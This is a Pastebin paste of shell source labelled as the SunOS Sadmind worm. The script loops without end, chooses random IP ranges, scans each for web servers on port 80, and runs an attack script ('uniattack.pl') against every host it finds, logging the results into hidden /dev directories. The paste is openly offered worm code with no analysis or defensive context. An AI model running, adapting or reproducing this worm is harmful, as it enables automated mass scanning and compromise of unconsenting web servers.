Advertisement
FlyFar

Worm.SunOS.Sadmind - Source Code

Jun 12th, 2023
860
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 0.65 KB | Cybersecurity | 0 0
  1. #!/bin/sh
  2. while true
  3. do
  4. i=`/usr/local/bin/perl /dev/cuc/ranip.pl`
  5. j=0
  6. while [ $j -lt 256 ];do
  7. /dev/cuc/grabbb -t 3 -a $i.$j.1 -b $i.$j.50 80 >> /dev/cub/$i.txt
  8. /dev/cuc/grabbb -t 3 -a $i.$j.51 -b $i.$j.100 80 >> /dev/cub/$i.txt
  9. /dev/cuc/grabbb -t 3 -a $i.$j.101 -b $i.$j.150 80 >> /dev/cub/$i.txt
  10. /dev/cuc/grabbb -t 3 -a $i.$j.151 -b $i.$j.200 80 >> /dev/cub/$i.txt
  11. /dev/cuc/grabbb -t 3 -a $i.$j.201 -b $i.$j.254 80 >> /dev/cub/$i.txt
  12. j=`/bin/echo "$j+1"|/bin/bc`
  13. done
  14. iplist=`/bin/awk -F: '{print $1}' /dev/cub/$i.txt`
  15. for ip in $iplist;do
  16. /usr/local/bin/perl /dev/cuc/uniattack.pl $ip:80 >> /dev/cub/result.txt
  17. done
  18. rm -f /dev/cub/$i.txt
  19. done
Tags: BASH worm SunOS
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement